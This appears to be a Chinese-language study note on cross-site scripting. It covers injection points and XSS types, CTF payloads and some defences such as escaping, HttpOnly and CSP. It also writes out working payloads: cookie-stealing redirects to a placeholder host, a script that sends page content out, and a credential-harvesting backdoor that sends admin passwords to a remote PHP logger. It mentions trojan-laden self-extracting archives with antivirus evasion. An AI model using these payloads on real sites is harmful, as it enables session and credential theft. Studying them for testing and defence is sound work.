09通用-XSS
Jackie

XSS

在已有XSS知识上做的一些补充

  1. 产生的地方
  • 数据交互的地方
    • get、post、headers
    • 反馈与浏览
    • 富文本编辑器
    • 各类标签插入和自定义
  • 数据输出的地方
    • 用户资料
    • 关键词、标签、说明
    • 文件上传
  1. 分类

反射型(非持久型)

存储型(持久型)

DOM型

mXSS(突变型XSS)

简单来说就是本身被过滤成其他字符,但是在转发的时候重新识别转换回来了

文章

UXSS(通用型XSS)

利用浏览器或者浏览器拓展漏洞来来制造产生XSS并执行代码的一种攻击类型

CVE-2021-34506

BV1FM4y1M7a8

Flash XSS

swf反编译:JPEXS Free Flash Decompiler

可查询:ExternalInterface.call看哪里调用JS代码

PDFXSS

PDF编辑的时候插入动作,此时可以插入JavaScript脚本,写入恶意的XSS代码后,通过文件上传获取直链,访问后会触发

上传到可信网站应用于钓鱼

UTF-7 XSS

MHTML XSS

CSS XSS

VBScript XSS

获取Cookies:https://xss.pt/xss.php

有一种可能:获取到的Cookies不全(比如httponly、存在session)

kali上有beef-xss

快速构建基于BeEF的钓鱼平台

  1. 挖掘思路

个人信息,留言板,评论等,多注意观察URL变化,XSS是很好防御的,加个过滤就好了

  1. 补充
xxx.html?参数=javascript:alert('1')

以JavaScript代码执行

<script> window.location.href='http://xxx'+document.cookie</script>

window.location.href='':自动跳转到该网址

document.cookie:获取Cookies

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if (value.innerHTML.indexOf('ctf'+'show')>-1) {
window.location.href = 'http://xxx/get.php?c='+CSSMathValue.innerHTML;
}
});
</script>

ctfshow329

密码选项来源于laytable-cell-1-0-1这个标签

针对于Cookies失效的问题,则不获取Cookies,在触发JS的时候直接得到想要的内容(利用JS获取当前页面源代码)

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

利用Ajax通过post传参

XSS总结

  1. XSS后台植入Cookies&表单劫持

条件:前期已取得权限

代码中插入这段

$up='<script src=http://远程vps地址/get.php?user='.$admin_name.'&pass='.$admin_pass.'></script>';
echo $up;

而远程vps的get.php中写入

<?php
$u=$_GET['user'];
$p=$_GET['pass'];
$myfile=fopen("newfile.txt","w+");
fwrite($myfile,$u);
fwrite($myfile,'|');
fwrite($myfile,$p);
fwrite($myfile,'\n');
fclose($myfile);
?>

达到权限维持

  1. 制作自解压,然后利用XSS

image

image

image

image

还可以使用Restorator修改图标,还有做免杀

第2次执行这个压缩包时,前一次解压出来的木马已经存在,所以解压前运行木马文件可以正常上线

  1. 绕过&防护
  • 过滤一些危险字符,转义&、<、>、"、'等危险字符

    自定义过滤函数引用

  • HTTP-only Cookie

    php设置httponly

    php.ini设置或代码引用

    session.cookie_httponly=1
    ini_set("session.cookie_httponly",1)
  • 设置CSP(Content Security Policy)

    http://t.csdnimg.cn/CBYJQ

    header("Content-Security-Policy:img-src 'self' ");
    //只允许加载本地源图片
  • 输入内容长度限制、实体转义等

 评论
评论插件加载失败
正在加载评论插件